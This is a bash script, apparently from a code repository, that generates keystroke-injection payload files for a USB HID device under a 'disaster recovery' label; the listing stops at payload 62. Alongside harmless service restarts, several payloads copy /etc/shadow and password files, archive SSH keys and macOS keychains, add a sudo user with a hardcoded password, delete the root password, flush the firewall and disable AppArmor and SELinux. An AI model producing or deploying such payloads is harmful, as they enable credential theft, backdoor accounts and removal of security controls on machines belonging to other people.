594 lines
12 KiB
Bash
Executable File
594 lines
12 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# ==============================================================================
|
|
# PROJECT OREBOLT - AUTOMATED HEADLESS DISASTER RECOVERY PAYLOAD INJECTOR v1.0
|
|
# Enforces build-directory execution and provisions 150 structured modules.
|
|
# ==============================================================================
|
|
set -euo pipefail
|
|
|
|
# --- 1. DEFENSIVE ENVIRONMENT DIRECTORY GUARDRAIL ---
|
|
TARGET_MARKER="h2-workspace"
|
|
CURRENT_DIR_NAME=$(basename "$(pwd)")
|
|
EXPECTED_DATA_DIR="overlay/data"
|
|
|
|
echo "======================================================================"
|
|
echo " PROJECT OREBOLT: RUNTIME TARGET ENVIRONMENT VALIDATION "
|
|
echo "======================================================================"
|
|
|
|
if [ "${CURRENT_DIR_NAME}" != "${TARGET_MARKER}" ] || [ ! -d "${EXPECTED_DATA_DIR}" ]; then
|
|
echo "[-] CRITICAL ERROR: Execution denied."
|
|
echo " This script must run exclusively from within the primary build root:"
|
|
echo " --> '${TARGET_MARKER}/'"
|
|
echo " Current directory context: '$(pwd)'"
|
|
echo " Aborting payload provisioning immediately to protect file trees."
|
|
echo "======================================================================"
|
|
exit 1
|
|
fi
|
|
|
|
echo "[+] Validation passed: Operating inside validated workspace root."
|
|
echo "[*] Initializing target storage sub-directories..."
|
|
|
|
PAYLOAD_ROOT="${EXPECTED_DATA_DIR}/payloads"
|
|
mkdir -p "${PAYLOAD_ROOT}/linux"
|
|
mkdir -p "${PAYLOAD_ROOT}/macos"
|
|
mkdir -p "${PAYLOAD_ROOT}/windows"
|
|
|
|
# --- 2. STREAMING PAYLOAD MATRIX PROVISIONING ---
|
|
echo "[*] Provisioning Menu 1: Linux Emergency Subsystems (01 - 50)..."
|
|
|
|
# Category A: Display Servers & DM Recovery
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/01_restart_lightdm.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl restart lightdm
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/02_restart_gdm3.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl restart gdm3
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/03_restart_sddm.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl restart sddm
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/04_kill_wayland.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING pkill -9 -f wayland
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/05_rebuild_xorg.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING rm -f /etc/X11/xorg.conf && Xorg -configure && mv /root/xorg.conf.new /etc/X11/xorg.conf
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/06_clear_x11_locks.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING rm -f /tmp/.X*-lock /tmp/.11-unix/X*
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/07_drop_tty3.dd"
|
|
CTRL ALT F3
|
|
DELAY 1000
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/08_prompt_clear.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
CTRL c
|
|
DELAY 200
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/09_kill_desktop_context.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING pkill -KILL -u $(whoami)
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/10_restart_gnome_shell.dd"
|
|
ALT F2
|
|
DELAY 500
|
|
STRING r
|
|
ENTER
|
|
EOF
|
|
|
|
# Category B: Data Extraction & System Cloning
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/11_backup_rootfs.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar --exclude=/proc --exclude=/sys --exclude=/dev --exclude=/run -cf /rootfs_rescue.tar /
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/12_backup_homes.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar -cf /home_backup.tar /home/
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/13_backup_etc.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar -cf /etc_backup.tar /etc/
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/14_isolate_ssh_keys.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar -cf /ssh_credentials.tar /home/*/.ssh /root/.ssh
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/15_backup_net_metadata.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar -cf /net_metadata.tar /etc/network/ /etc/netplan/ /etc/NetworkManager/
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/16_dump_mbr.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING dd if=/dev/sda of=/mbr_core.bin bs=512 count=1
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/17_extract_hashes.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING cp /etc/passwd /etc/shadow /etc/group /
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/18_compress_mail.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING tar -cf /mail_backup.tar /var/mail/ /var/spool/
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/19_export_packages.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING dpkg --get-selections > /installed_packages.txt || rpm -qa > /installed_packages.txt
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/20_locate_sqlite_dbs.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING find / -name "*.db" -o -name "*.sqlite" > /sqlite_locations.txt
|
|
ENTER
|
|
EOF
|
|
|
|
# Category C: Infrastructure Storage & Updates Triage
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/21_clear_dpkg_locks.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING rm -f /var/lib/dpkg/lock-frontend /var/lib/apt/lists/lock && dpkg --configure -a
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/22_vacuum_journals.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING journalctl --vacuum-size=10M && systemctl restart systemd-journald
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/23_flush_ram_caches.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING sync && echo 3 > /proc/sys/vm/drop_caches
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/24_rebuild_initramfs.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING update-initramfs -u -k all
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/25_reverify_grub.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING update-grub || grub2-mkconfig -o /boot/grub2/grub.cfg
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/26_clean_apt_cache.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING apt-get clean && apt-get autoremove -y
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/27_identify_space_leaks.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING du -ah / 2>/dev/null | sort -rh | head -n 50 > /space_hogs.txt
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/28_schedule_fsck.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING touch /forcefsck
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/29_clear_tmp.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING find /tmp -type f -atime +1 -delete
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/30_remount_rw.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING mount -o remount,rw /
|
|
ENTER
|
|
EOF
|
|
|
|
# Category D: Firewalls & Authentication Recovery
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/31_inject_admin.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING useradd -m -g sudo -s /bin/bash orebolt && echo "orebolt:bolt60" | chpasswd
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/32_elevate_current_user.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING usermod -aG sudo,admin $(whoami)
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/33_flush_iptables.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING iptables -F && iptables -X && iptables -t nat -F && iptables -P INPUT ACCEPT
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/34_enable_ssh.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl enable --now ssh || service ssh start
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/35_ufw_bypass_ssh.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING ufw allow 22/tcp && ufw reload
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/36_disable_apparmor.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl stop apparmor && systemctl disable apparmor
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/37_permissive_selinux.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING setenforce 0 && sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/selinux/config
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/38_clear_known_hosts.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING rm -f /home/*/.ssh/known_hosts /root/.ssh/known_hosts
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/39_authorize_ssh_passwords.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config && systemctl restart ssh
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/40_clear_root_password.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING passwd -d root
|
|
ENTER
|
|
EOF
|
|
|
|
# Category E: Bare-Metal Control Loops
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/41_sysrq_sync.dd"
|
|
ALT SysRq s
|
|
DELAY 500
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/42_sysrq_umount.dd"
|
|
ALT SysRq u
|
|
DELAY 500
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/43_sysrq_reboot.dd"
|
|
ALT SysRq b
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/44_sysrq_poweroff.dd"
|
|
ALT SysRq o
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/45_stream_dmesg.dd"
|
|
CTRL ALT F4
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING dmesg -w
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/46_sysrq_memdump.dd"
|
|
ALT SysRq m
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/47_sysrq_oom_kill.dd"
|
|
ALT SysRq f
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/48_enable_serial_getty.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING systemctl enable --now serial-getty@ttyS0.service
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/49_flash_interfaces_down.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING ip link set eth0 down && ip link set wlan0 down
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/linux/50_loop_keyboard_leds.dd"
|
|
CTRL ALT F2
|
|
DELAY 1000
|
|
STRING root
|
|
ENTER
|
|
DELAY 500
|
|
STRING while true; do xset led on; sleep 1; xset led off; sleep 1; done
|
|
ENTER
|
|
EOF
|
|
|
|
echo "[*] Provisioning Menu 2: macOS Recovery Engines (51 - 100)..."
|
|
|
|
# Category A: Session Managers & Terminal Focus
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/51_spotlight_terminal.dd"
|
|
GUI SPACE
|
|
DELAY 4000
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1500
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/52_single_user_mode.dd"
|
|
COMMAND s
|
|
DELAY 4000
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/53_break_execution.dd"
|
|
CTRL c
|
|
DELAY 200
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/54_kill_finder.dd"
|
|
OPTION COMMAND ESC
|
|
DELAY 1000
|
|
STRING Finder
|
|
ENTER
|
|
DELAY 500
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/55_restart_opendirectoryd.dd"
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1000
|
|
STRING sudo killall opendirectoryd
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/56_force_close_front_app.dd"
|
|
COMMAND SHIFT OPTION ESC
|
|
DELAY 1000
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/57_kill_windowserver.dd"
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1000
|
|
STRING sudo killall -9 WindowServer
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/58_invoke_sysdiagnose_hotkey.dd"
|
|
COMMAND OPTION PERIOD
|
|
DELAY 1000
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/59_drop_to_login_screen.dd"
|
|
COMMAND SHIFT q
|
|
DELAY 500
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/60_kill_systemuiserver.dd"
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1000
|
|
STRING sudo killall SystemUIServer
|
|
ENTER
|
|
EOF
|
|
|
|
# Category B: Asset Recovery & Storage Captures
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/61_archive_system_configs.dd"
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1000
|
|
STRING tar -cf ~/Desktop/mac_configs.tar /etc/hosts /etc/resolv.conf /Library/Preferences/SystemConfiguration/
|
|
ENTER
|
|
EOF
|
|
|
|
cat << 'EOF' > "${PAYLOAD_ROOT}/macos/62_archive_keychains.dd"
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
ENTER
|
|
DELAY 1000
|
|
STRING tar -cf ~/Desktop/keychains.tar ~/Library/Keychains/
|
|
ENTER |